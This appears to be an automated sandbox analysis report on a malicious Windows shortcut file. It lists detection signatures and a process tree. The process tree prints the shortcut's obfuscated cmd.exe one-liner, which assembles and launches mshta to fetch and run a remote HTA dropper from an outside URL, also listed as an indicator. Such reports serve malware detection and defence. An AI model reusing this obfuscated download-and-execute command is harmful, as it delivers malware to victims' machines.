Analysis
- max time kernel
148s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 08:25
General
- Target DOC-4DD4TU.lnk
- Size 2KB
- Sample260804-kbnt6svfre
- SHA256 6d50e26f4ceba73e4e1effa91a6174b4a24cef041636d15005341b89a37fe1af
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4DD4TU.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set rhwRV=datutxbaynfckdat&&set jo=oldjqeymhold&&set aJa=inffbaajinf&&set gQQFj=datuhvdureonbvwrdat&&set FwMQL=dathnbjjwyrgqwkbdat&&set GIuv=tmpvkuufinrhtxmttmp&&set Bmylm=datuknztplxehdat&&set mztm=winavmmiznwztbdiwin&&set VNwsT=43sq&&set derr=atqmz&&set ckO=larte&&set gy=syshsemzosys&&set BftL=inffttjafpinf&&set Dhn=dbgavkgmbzzyilobdbg&&set uZ=cfgdpmffayercfg&&set Brrb=m9tms8&&set ZG=bzhtad&&set sS=htt@p@s:@/@/@ma@-pd@ffil@l@er.@lat/@h@/@est@a@gi@o@1.@php@?r=39@1469FB5D@8@2@DB&&start /b !Brrb:~3,2!!ZG:~2,3! !sS:@=!"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
-
-